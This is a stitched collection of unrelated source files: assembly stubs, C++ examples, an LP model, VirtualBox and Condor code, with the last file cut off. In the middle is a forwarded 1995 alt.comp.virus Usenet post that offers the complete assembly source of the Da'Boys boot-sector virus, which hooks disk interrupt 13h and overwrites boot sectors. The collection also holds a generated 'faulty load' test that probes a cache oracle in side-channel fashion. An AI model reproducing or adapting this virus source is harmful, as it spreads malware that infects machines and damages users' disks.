0x00401649 <+242>: call 0x403178 <std::vector<int, std::allocator<int> >::rbegin()>
0x0040164e <+247>: sub $0x4,%esp
0x00401651 <+250>: movb $0x1,-0x29(%ebp)
0x00401655 <+254>: lea -0xc(%ebp),%eax
0x00401658 <+257>: mov %eax,(%esp)
0x0040165b <+260>: call 0x40217c <std::reverse_iterator<__gnu_cxx::__normal_iterator<int*, std::vector<int, std::allocator<int> > > >::operator*() const>
0x00401660 <+265>: mov (%eax),%eax
0x00401662 <+267>: cmp %eax,%ebx
0x00401664 <+269>: je 0x40166d <intersection(std::vector<int, std::allocator<int> > const&, std::vector<int, std::allocator<int> > const&)+278>
0x00401666 <+271>: mov $0x1,%eax
0x0040166b <+276>: jmp 0x401672 <intersection(std::vector<int, std::allocator<int> > const&, std::vector<int, std::allocator<int> > const&)+283>
0x0040166d <+278>: mov $0x0,%eax
0x00401672 <+283>: cmpb $0x0,-0x29(%ebp)
0x00401676 <+287>: test %al,%al
0x00401678 <+289>: je 0x401694 <intersection(std::vector<int, std::allocator<int> > const&, std::vector<int, std::allocator<int> > const&)+317>
72 //if (ret.size() == 0 or *abegin != *ret.rbegin()) // demorgans law -- makes things more efficient
73 ret.push_back(*abegin); // not found in either array or in already created array
0x0040167a <+291>: lea -0x18(%ebp),%eax
0x0040167d <+294>: mov %eax,(%esp)
0x00401680 <+297>: call 0x402078 <__gnu_cxx::__normal_iterator<int const*, std::vector<int, std::allocator<int> > >::operator*() const>
0x00401685 <+302>: mov %eax,0x4(%esp)
0x00401689 <+306>: mov 0x8(%ebp),%eax
0x0040168c <+309>: mov %eax,(%esp)
0x0040168f <+312>: call 0x4032dc <std::vector<int, std::allocator<int> >::push_back(int const&)>
74 ++abegin;
0x00401694 <+317>: lea -0x18(%ebp),%eax
0x00401697 <+320>: mov %eax,(%esp)
0x0040169a <+323>: call 0x401f14 <__gnu_cxx::__normal_iterator<int const*, std::vector<int, std::allocator<int> > >::operator++()>
75 ++bbegin; // increment both cause oth points to the same value
0x0040169f <+328>: lea -0x1c(%ebp),%eax
0x004016a2 <+331>: mov %eax,(%esp)
0x004016a5 <+334>: call 0x401f14 <__gnu_cxx::__normal_iterator<int const*, std::vector<int, std::allocator<int> > >::operator++()>
76 continue;
0x004016aa <+339>: jmp 0x4016f5 <intersection(std::vector<int, std::allocator<int> > const&, std::vector<int, std::allocator<int> > const&)+414>
77 }
78
79 (*abegin < *bbegin)? abegin++ : bbegin++; // different values, increment lesser one
0x004016ac <+341>: lea -0x18(%ebp),%eax
0x004016af <+344>: mov %eax,(%esp)
0x004016b2 <+347>: call 0x402078 <__gnu_cxx::__normal_iterator<int const*, std::vector<int, std::allocator<int> > >::operator*() const>
0x004016b7 <+352>: mov (%eax),%ebx
0x004016b9 <+354>: lea -0x1c(%ebp),%eax
0x004016bc <+357>: mov %eax,(%esp)
0x004016bf <+360>: call 0x402078 <__gnu_cxx::__normal_iterator<int const*, std::vector<int, std::allocator<int> > >::operator*() const>
0x004016c4 <+365>: mov (%eax),%eax
0x004016c6 <+367>: cmp %eax,%ebx
0x004016c8 <+369>: jge 0x4016e2 <intersection(std::vector<int, std::allocator<int> > const&, std::vector<int, std::allocator<int> > const&)+395>
0x004016ca <+371>: movl $0x0,0x4(%esp)
0x004016d2 <+379>: lea -0x18(%ebp),%eax
0x004016d5 <+382>: mov %eax,(%esp)
0x004016d8 <+385>: call 0x401ee4 <__gnu_cxx::__normal_iterator<int const*, std::vector<int, std::allocator<int> > >::operator++(int)>
0x004016dd <+390>: jmp 0x401585 <intersection(std::vector<int, std::allocator<int> > const&, std::vector<int, std::allocator<int> > const&)+46>
0x004016e2 <+395>: movl $0x0,0x4(%esp)
0x004016ea <+403>: lea -0x1c(%ebp),%eax
0x004016ed <+406>: mov %eax,(%esp)
0x004016f0 <+409>: call 0x401ee4 <__gnu_cxx::__normal_iterator<int const*, std::vector<int, std::allocator<int> > >::operator++(int)>
80 }
81
82 return ret;
0x00401711 <+442>: nop
83 } 0x00401712 <+443>: mov 0x8(%ebp),%eax
0x00401715 <+446>: mov -0x4(%ebp),%ebx
0x00401718 <+449>: leave
0x00401719 <+450>: ret $0x4
End of assembler dump.
|
; A016906: a(n) = (5*n + 4)^10.
; 1048576,3486784401,289254654976,6131066257801,63403380965376,420707233300201,2064377754059776,8140406085191601,27197360938418176,79792266297612001,210832519264920576,511116753300641401,1152921504606846976,2446194060654759801,4923990397355877376,9468276082626847201,17490122876598091776,31181719929966183601,53861511409489970176,90438207500880449001,148024428491834392576,236736367459211723401,370722131411856638976,569468379011812486801,859442550649180389376,1276136419117121619201
mul $0,5
add $0,4
pow $0,10
|
; void *zx_aaddrcdown(void *attraddr)
SECTION code_clib
SECTION code_arch
PUBLIC zx_aaddrcdown
EXTERN asm_zx_aaddrcdown
defc zx_aaddrcdown = asm_zx_aaddrcdown
|
/*************************************
Learn C++ Programming by Making Games
Example 10.4: Function prototypes
*************************************/
#include <iostream>
using namespace std;
// A prototype for the average() function
double average( double, double, double );
// The main program
int main()
{
// Read three numbers from the keyboard
cout << "Please type in three numbers: " << endl;
double n1, n2, n3;
cin >> n1 >> n2 >> n3;
// Calculate and print the average of the three
cout << "Their average is: " << average( n1, n2, n3 )
<< endl;
// And we're done!
return 0;
}
// The following function calculates the
// average of its three parameters
// Note that the function definition appears after
// the main program thanks to the prototype
double average( double a, double b, double c )
{
return( ( a + b + c ) / 3.0 );
} |
extern m7_ippsMontMul:function
extern n8_ippsMontMul:function
extern y8_ippsMontMul:function
extern e9_ippsMontMul:function
extern l9_ippsMontMul:function
extern n0_ippsMontMul:function
extern k0_ippsMontMul:function
extern ippcpJumpIndexForMergedLibs
extern ippcpSafeInit:function
segment .data
align 8
dq .Lin_ippsMontMul
.Larraddr_ippsMontMul:
dq m7_ippsMontMul
dq n8_ippsMontMul
dq y8_ippsMontMul
dq e9_ippsMontMul
dq l9_ippsMontMul
dq n0_ippsMontMul
dq k0_ippsMontMul
segment .text
global ippsMontMul:function (ippsMontMul.LEndippsMontMul - ippsMontMul)
.Lin_ippsMontMul:
db 0xf3, 0x0f, 0x1e, 0xfa
call ippcpSafeInit wrt ..plt
align 16
ippsMontMul:
db 0xf3, 0x0f, 0x1e, 0xfa
mov rax, qword [rel ippcpJumpIndexForMergedLibs wrt ..gotpc]
movsxd rax, dword [rax]
lea r11, [rel .Larraddr_ippsMontMul]
mov r11, qword [r11+rax*8]
jmp r11
.LEndippsMontMul:
|
;
; Enterprise 64/128 specific routines
; by Stefano Bodrato, 2011
;
; int exos_system_status(struct EXOS_INFO info);
;
;
; $Id: exos_system_status.asm,v 1.2 2015/01/19 01:32:43 pauloscustodio Exp $
;
PUBLIC exos_system_status
exos_system_status:
ex de,hl
rst 30h
defb 20
ld h,0
ld l,b
ret
|
From smtp Fri Mar 24 16:17 EST 1995
Received: from lynx.dac.neu.edu by POBOX.jwu.edu; Fri, 24 Mar 95 16:17 EST
Received: (from ekilby@localhost) by lynx.dac.neu.edu (8.6.11/8.6.10) id QAA30764 for joshuaw@pobox.jwu.edu; Fri, 24 Mar 1995 16:21:26 -0500
Date: Fri, 24 Mar 1995 16:21:26 -0500
From: Eric Kilby <ekilby@lynx.dac.neu.edu>
Content-Length: 6924
Content-Type: text
Message-Id: <199503242121.QAA30764@lynx.dac.neu.edu>
To: joshuaw@pobox.jwu.edu
Subject: (fwd) Re: Da'boys viurs, new?
Newsgroups: alt.comp.virus
Status: O
Path: chaos.dac.neu.edu!usenet.eel.ufl.edu!news.ultranet.com!news.sprintlink.net!cs.utexas.edu!uunet!in1.uu.net!nntp.crl.com!crl9.crl.com!not-for-mail
From: yojimbo@crl.com (Douglas Mauldin)
Newsgroups: alt.comp.virus
Subject: Re: Da'boys viurs, new?
Date: 23 Mar 1995 23:25:53 -0800
Organization: CRL Dialup Internet Access (415) 705-6060 [Login: guest]
Lines: 276
Message-ID: <3kts61$1a3@crl9.crl.com>
References: <3kst9u$2u4@crl10.crl.com> <3ktps4$h08@crl6.crl.com>
NNTP-Posting-Host: crl9.crl.com
X-Newsreader: TIN [version 1.2 PL2]
;: does anyone know what this virus does? how dangerous is it
;: and how do i remove it from my boot sector if the disk is not
;: a bootable one?
;From THe QUaRaNTiNE archives: Da'Boys Source-
;Enjoy...
cseg segment para public 'code'
da_boys proc near
assume cs:cseg
;-----------------------------------------------------------------------------
.186
TRUE equ 001h
FALSE equ 000h
;-----------------------------------------------------------------------------
;option bytes used
COM4_OFF equ TRUE ; 3 bytes
DA_BOYS_TEXT equ TRUE ; 6 bytes
;-----------------------------------------------------------------------------
ADDR_MUL equ 004h
BIOS_INT_13 equ 0c6h
BOOT_INT equ 019h
BOOT_OFFSET equ 07c00h
COM4_OFFSET equ 00406h
COM_OFFSET equ 00100h
DISK_INT equ 013h
DOS_GET_INT equ 03500h
DOS_INT equ 021h
DOS_SET_INT equ 02500h
FIRST_SECTOR equ 00001h
INITIAL_BX equ 00078h
LOW_CODE equ 0021dh
NEW_INT_13_LOOP equ 0cdh
READ_A_SECTOR equ 00201h
RETURN_NEAR equ 0c3h
SECTOR_SIZE equ 00200h
TERMINATE_W_ERR equ 04c00h
TWO_BYTES equ 002h
VIRGIN_INT_13_B equ 007b4h
WRITE_A_SECTOR equ 00301h
;-----------------------------------------------------------------------------
io_seg segment at 00070h
org 00000h
io_sys_loads_at label word
io_seg ends
;-----------------------------------------------------------------------------
bios_seg segment at 0f000h
org 09315h
original_int_13 label word
bios_seg ends
;-----------------------------------------------------------------------------
org COM_OFFSET
com_code:
;-----------------------------------------------------------------------------
dropper proc near
xor ax,ax
mov ds,ax
lds dx,dword ptr ds:[VIRGIN_INT_13_B]
mov ax,DOS_SET_INT+BIOS_INT_13
int DOS_INT
mov dx,offset interrupt_13+LOW_CODE-offset old_jz
xor ax,ax
mov ds,ax
mov ax,DOS_SET_INT+DISK_INT
int DOS_INT
mov di,LOW_CODE
mov si,offset old_jz
push ds
pop es
call move_to_boot
mov ax,READ_A_SECTOR
mov cx,FIRST_SECTOR
mov dx,00180h
mov bx,offset buffer
push cs
pop es
int DISK_INT
already_set: mov ax,TERMINATE_W_ERR
int DOS_INT
dropper endp
;-----------------------------------------------------------------------------
org 00048h+COM_OFFSET
call initialize
;-----------------------------------------------------------------------------
org 000ebh+COM_OFFSET
old_jz: jz old_code
;-----------------------------------------------------------------------------
org 00edh+COM_OFFSET
;-----------------------------------------------------------------------------
error: jmp error_will_jmp+LOW_CODE-000ebh-BOOT_OFFSET
move_to_low: mov si,offset old_jz+BOOT_OFFSET-COM_OFFSET
xor ax,ax
move_to_boot: mov cx,offset jmp_old_int_13-offset old_jz+1
pushf
cld
rep movs byte ptr es:[di],cs:[si]
popf
ret
;-----------------------------------------------------------------------------
old_code: mov ax,word ptr ds:[bx+01ah]
dec ax
dec ax
mov di,BOOT_OFFSET+049h
mov bl,byte ptr ds:[di-03ch]
xor bh,bh
mul bx
add ax,word ptr ds:[di]
adc dx,word ptr ds:[di+002h]
mov bx,00700h
mov cl,003h
old_loop: pusha
call more_old_code
popa
jc error
add ax,0001h
adc dx,00h
add bx,word ptr ds:[di-03eh]
loop old_loop
mov ch,byte ptr ds:[di-034h]
mov dl,byte ptr ds:[di-025h]
mov bx,word ptr ds:[di]
mov ax,word ptr ds:[di+002h]
jmp far ptr io_sys_loads_at
;-----------------------------------------------------------------------------
initialize: mov bx,INITIAL_BX
mov di,LOW_CODE
push ss
pop ds
jmp short set_interrupts
;-----------------------------------------------------------------------------
error_will_jmp: mov bx,BOOT_OFFSET
IF DA_BOYS_TEXT
db 'DA',027h,'BOYS'
ELSE
push bx
ENDIF
mov ax,00100h
mov dx,08000h
load_from_disk: mov cx,ax
mov ax,READ_A_SECTOR
xchg ch,cl
xchg dh,dl
int DISK_INT
ret
;-----------------------------------------------------------------------------
org 00160h+COM_OFFSET
;-----------------------------------------------------------------------------
more_old_code: mov si,BOOT_OFFSET+018h
cmp dx,word ptr ds:[si]
jnb stc_return
div word ptr ds:[si]
inc dl
mov ch,dl
xor dx,dx
IF COM4_OFF
mov word ptr ds:[COM4_OFFSET],dx
ENDIF
div word ptr ds:[si+002h]
mov dh,byte ptr ds:[si+00ch]
shl ah,006h
or ah,ch
jmp short load_from_disk
stc_return: stc
ret
;-----------------------------------------------------------------------------
org 0181h+COM_OFFSET
ret
;-----------------------------------------------------------------------------
restart_it: int BOOT_INT
;-----------------------------------------------------------------------------
set_interrupts: cmp word ptr ds:[di],ax
jne is_resident
mov word ptr ds:[NEW_INT_13_LOOP*ADDR_MUL+TWO_BYTES],ax
xchg word ptr ds:[bx+(DISK_INT*ADDR_MUL+TWO_BYTES)-INITIAL_BX],ax
mov word ptr ds:[BIOS_INT_13*ADDR_MUL+TWO_BYTES],ax
mov ax,offset interrupt_13+LOW_CODE-offset old_jz
mov word ptr ds:[NEW_INT_13_LOOP*ADDR_MUL],ax
xchg word ptr ds:[bx+(DISK_INT*ADDR_MUL)-INITIAL_BX],ax
mov word ptr ds:[BIOS_INT_13*ADDR_MUL],ax
is_resident: jmp move_to_low
;-----------------------------------------------------------------------------
interrupt_13 proc far
cmp ah,high(READ_A_SECTOR)
jne jmp_old_int_13
cmp cx,FIRST_SECTOR
jne jmp_old_int_13
cmp dh,cl
ja jmp_old_int_13
pusha
int BIOS_INT_13
jc not_boot_sect
mov ax,0efe8h
xchg word ptr es:[bx+048h],ax
cmp ax,078bbh
jne not_boot_sect
mov di,bx
add di,offset old_jz-COM_OFFSET
cmp bh,high(BOOT_OFFSET)
pushf
jne no_key_press
mov byte ptr es:[di+00ch],RETURN_NEAR
pusha
call near ptr hit_any_key
popa
no_key_press: mov ax,WRITE_A_SECTOR
mov si,LOW_CODE
call move_to_boot
inc cx
int BIOS_INT_13
popf
je restart_it
not_boot_sect: popa
interrupt_13 endp
;-----------------------------------------------------------------------------
org 001e5h+COM_OFFSET
jmp_old_int_13: jmp far ptr original_int_13
;-----------------------------------------------------------------------------
buffer db SECTOR_SIZE dup (0)
;-----------------------------------------------------------------------------
org 07cedh-LOW_CODE+offset old_jz
hit_any_key label word
;-----------------------------------------------------------------------------
da_boys endp
cseg ends
end com_code
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r14
push %r15
push %r9
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0xff7b, %rdi
nop
nop
nop
nop
sub $52222, %r15
mov (%rdi), %r11w
nop
nop
nop
and %r13, %r13
lea addresses_WT_ht+0x91bb, %r9
nop
nop
and $5084, %rdi
movb $0x61, (%r9)
add %r11, %r11
lea addresses_WC_ht+0x1251b, %r13
nop
nop
add %r9, %r9
movb $0x61, (%r13)
nop
nop
nop
nop
nop
sub $3839, %rdi
lea addresses_normal_ht+0x8dbb, %rdi
nop
nop
nop
add $30949, %rax
movb $0x61, (%rdi)
nop
nop
nop
nop
add $47611, %rdi
lea addresses_D_ht+0xdcf9, %r11
sub $59116, %rax
vmovups (%r11), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $0, %xmm4, %r13
dec %r14
lea addresses_A_ht+0x181b, %rsi
lea addresses_UC_ht+0x1906b, %rdi
nop
nop
nop
and %r14, %r14
mov $41, %rcx
rep movsl
nop
nop
nop
add $14056, %r13
lea addresses_WC_ht+0xda1b, %r9
nop
and $6772, %rax
mov (%r9), %r11d
nop
nop
add %rdi, %rdi
lea addresses_UC_ht+0x863b, %rsi
lea addresses_WC_ht+0x1d7cb, %rdi
nop
nop
nop
nop
cmp $59905, %rax
mov $9, %rcx
rep movsl
nop
nop
nop
nop
nop
xor $27436, %r14
lea addresses_WC_ht+0xd5bb, %rsi
nop
xor %r9, %r9
mov $0x6162636465666768, %r11
movq %r11, %xmm7
movups %xmm7, (%rsi)
nop
nop
nop
and $671, %rax
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r15
pop %r14
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r8
push %r9
push %rbp
// Faulty Load
lea addresses_PSE+0xe9bb, %r10
nop
nop
nop
nop
add $13789, %rbp
movb (%r10), %r8b
lea oracles, %r12
and $0xff, %r8
shlq $12, %r8
mov (%r12,%r8,1), %r8
pop %rbp
pop %r9
pop %r8
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_PSE', 'AVXalign': False, 'size': 4, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_PSE', 'AVXalign': True, 'size': 1, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': True, 'congruent': 5}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': True, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 4}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': True, 'congruent': 10}}
{'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 1}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 3, 'same': False}}
{'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 5}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 10}}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
#include "lInfTrustBALP.hpp"
#include <cmath>
using namespace std;
lInfTrustModel::lInfTrustModel(int nvar1, bundle_t const &cuts, double trustRadius, std::vector<std::vector<double> > const& center) :
nvar1(nvar1), cuts(cuts), trustRadius(trustRadius), center(center) {}
vector<double> lInfTrustModel::getFirstStageColLB() {
vector<double> l(nvar1,-COIN_DBL_MAX);
return l;
}
vector<double> lInfTrustModel::getFirstStageColUB() {
return vector<double>(nvar1,COIN_DBL_MAX);
}
vector<double> lInfTrustModel::getFirstStageObj() {
vector<double> obj(nvar1,0.);
return obj;
}
vector<string> lInfTrustModel::getFirstStageColNames() {
vector<string> names(nvar1,"l");
return names;
}
vector<double> lInfTrustModel::getFirstStageRowLB() {
return vector<double>(0);
}
vector<double> lInfTrustModel::getFirstStageRowUB() {
return vector<double>(0);
}
vector<string> lInfTrustModel::getFirstStageRowNames() {
return vector<string>(0);
}
vector<double> lInfTrustModel::getSecondStageColLB(int scen) {
// >= 0, >=0 >= 0 (first two are from multipliers on box constraints for gamma)
vector<double> lb(cuts[scen].size()+2*nvar1,0.);
return lb;
}
vector<double> lInfTrustModel::getSecondStageColUB(int scen) {
vector<double> ub(cuts[scen].size()+2*nvar1,COIN_DBL_MAX);
return ub;
}
vector<double> lInfTrustModel::getSecondStageObj(int scen) {
vector<double> obj;
obj.reserve(cuts[scen].size()+2*nvar1);
for (int i = 0; i < nvar1; i++) {
obj.push_back(center[scen][i]+trustRadius);
}
for (int i = 0; i < nvar1; i++) {
obj.push_back(-center[scen][i]+trustRadius);
}
for (unsigned i = 0; i < cuts[scen].size(); i++) {
obj.push_back(-cuts[scen][i].computeC());
}
return obj;
}
vector<string> lInfTrustModel::getSecondStageColNames(int scen) {
vector<string> names(cuts[scen].size()+2*nvar1,"");
return names;
}
vector<double> lInfTrustModel::getSecondStageRowUB(int scen) {
vector<double> ub(nvar1+1,0.);
ub[0] = 1.;
return ub;
}
vector<double> lInfTrustModel::getSecondStageRowLB(int scen) {
return getSecondStageRowUB(scen);
}
vector<string> lInfTrustModel::getSecondStageRowNames(int scen) {
vector<string> names(nvar1+1);
names[0] = "t";
std::fill(names.begin()+1,names.end(),"g");
return names;
}
CoinPackedMatrix lInfTrustModel::getFirstStageConstraints() {
vector<CoinBigIndex> starts(nvar1+1,0);
return CoinPackedMatrix(true, 0, nvar1,0,0,0,&starts[0],0);
}
CoinPackedMatrix lInfTrustModel::getSecondStageConstraints(int scen) {
/* diagonal blocks are of the form:
[ e^T ]
[-I I -G_i^T ]
This order is convenient for updating the basis when subgradients are added
*/
CoinBigIndex nnz = 0;
unsigned ncol = cuts[scen].size() + 2*nvar1;
vector<double> elts; elts.reserve(cuts[scen].size()*(nvar1+1)+2*nvar1);
vector<int> idx; idx.reserve(cuts[scen].size()*(nvar1+1)+2*nvar1);
vector<CoinBigIndex> starts(ncol+1);
for (int i = 0; i < nvar1; i++) {
elts.push_back(-1.);
idx.push_back(i+1);
starts[i] = nnz++;
}
for (int i = 0; i < nvar1; i++) {
elts.push_back(1.);
idx.push_back(i+1);
starts[i+nvar1] = nnz++;
}
for (unsigned col = 0; col < cuts[scen].size(); col++) {
elts.push_back(1.);
idx.push_back(0);
starts[col+2*nvar1] = nnz++;
vector<double> const& subgrad = cuts[scen][col].subgradient;
for (unsigned k = 0; k < subgrad.size(); k++) {
if (fabs(subgrad[k]) > 1e-7) {
elts.push_back(-subgrad[k]);
idx.push_back(k+1);
nnz++;
}
}
}
starts[ncol] = nnz;
return CoinPackedMatrix(true,nvar1+1,ncol,nnz,&elts[0],&idx[0],&starts[0],0);
}
CoinPackedMatrix lInfTrustModel::getLinkingConstraints(int scen) {
// [ ]
// [ I ]
vector<double> elts(nvar1,1.);
vector<int> idx; idx.reserve(nvar1);
vector<CoinBigIndex> starts; starts.reserve(nvar1+1);
for (int i = 0; i < nvar1; i++) {
starts.push_back(i);
idx.push_back(i+1);
}
starts.push_back(nvar1);
return CoinPackedMatrix(true,nvar1+1,nvar1,nvar1,&elts[0],&idx[0],&starts[0],0);
}
|
CopyName1::
; Copies the name from de to wStringBuffer2
ld hl, wStringBuffer2
CopyName2::
; Copies the name from de to hl
.loop
ld a, [de]
inc de
ld [hli], a
cp "@"
jr nz, .loop
ret
CopyStringWithTerminator::
; in: hl = source, de = destination, c = length (non-zero)
; out: clobbers all but b
dec c
.copy_loop
ld a, [hli]
ld [de], a
inc de
cp "@"
jr z, .clear_loop
dec c
jr nz, .copy_loop
ld a, "@"
ld [de], a
ret
.clear_loop
ld [de], a
inc de
dec c
jr nz, .clear_loop
ret
|
; $Id: bs3-cmn-KbdRead.asm 69111 2017-10-17 14:26:02Z vboxsync $
;; @file
; BS3Kit - Bs3KbdRead.
;
;
; Copyright (C) 2007-2017 Oracle Corporation
;
; This file is part of VirtualBox Open Source Edition (OSE), as
; available from http://www.virtualbox.org. This file is free software;
; you can redistribute it and/or modify it under the terms of the GNU
; General Public License (GPL) as published by the Free Software
; Foundation, in version 2 as it comes in the "COPYING" file of the
; VirtualBox OSE distribution. VirtualBox OSE is distributed in the
; hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
;
; The contents of this file may alternatively be used under the terms
; of the Common Development and Distribution License Version 1.0
; (CDDL) only, as it comes in the "COPYING.CDDL" file of the
; VirtualBox OSE distribution, in which case the provisions of the
; CDDL are applicable instead of those of the GPL.
;
; You may elect to license modified versions of this file under the
; terms and conditions of either the GPL or the CDDL or both.
;
%include "bs3kit-template-header.mac"
;;
; Sends a read command to the keyboard controller and gets the result.
;
; The caller is responsible for making sure the keyboard controller is ready
; for a command (call Bs3KbdWait if unsure).
;
; @returns The value read is returned (in al).
; @param bCmd The read command.
; @uses al (obviously)
;
; @cproto BS3_DECL(uint8_t) Bs3KbdRead_c16(uint8_t bCmd);
;
BS3_PROC_BEGIN_CMN Bs3KbdRead, BS3_PBC_NEAR
push xBP
mov xBP, xSP
mov al, [xBP + xCB*2]
out 64h, al ; Write the command.
.check_status:
in al, 64h
test al, 1 ; KBD_STAT_OBF
jz .check_status
in al, 60h ; Read the data.
pop xBP
BS3_HYBRID_RET
BS3_PROC_END_CMN Bs3KbdRead
;
; We may be using the near code in some critical code paths, so don't
; penalize it.
;
BS3_CMN_FAR_STUB Bs3KbdRead, 2
|
/***************************************************************
*
* Copyright (C) 1990-2018, Condor Team, Computer Sciences Department,
* University of Wisconsin-Madison, WI.
*
* Licensed under the Apache License, Version 2.0 (the "License"); you
* may not use this file except in compliance with the License. You may
* obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
***************************************************************/
#include "condor_common.h"
#include "condor_arglist.h"
#include "condor_attributes.h"
#include "condor_getcwd.h"
#include "condor_version.h"
#include "dagman_utils.h"
#include "my_popen.h"
#include "MyString.h"
#include "read_multiple_logs.h"
#include "tmp_dir.h"
#include "which.h"
static void
AppendError(MyString &errMsg, const MyString &newError)
{
if ( errMsg != "" ) errMsg += "; ";
errMsg += newError;
}
bool
EnvFilter::ImportFilter( const MyString &var, const MyString &val ) const
{
if ( (var.find(";") >= 0) || (val.find(";") >= 0) ) {
return false;
}
return IsSafeEnvV2Value( val.Value() );
}
bool
DagmanUtils::writeSubmitFile( /* const */ SubmitDagDeepOptions &deepOpts,
/* const */ SubmitDagShallowOptions &shallowOpts,
/* const */ StringList &dagFileAttrLines )
{
FILE *pSubFile = safe_fopen_wrapper_follow(shallowOpts.strSubFile.Value(), "w");
if (!pSubFile)
{
fprintf( stderr, "ERROR: unable to create submit file %s\n",
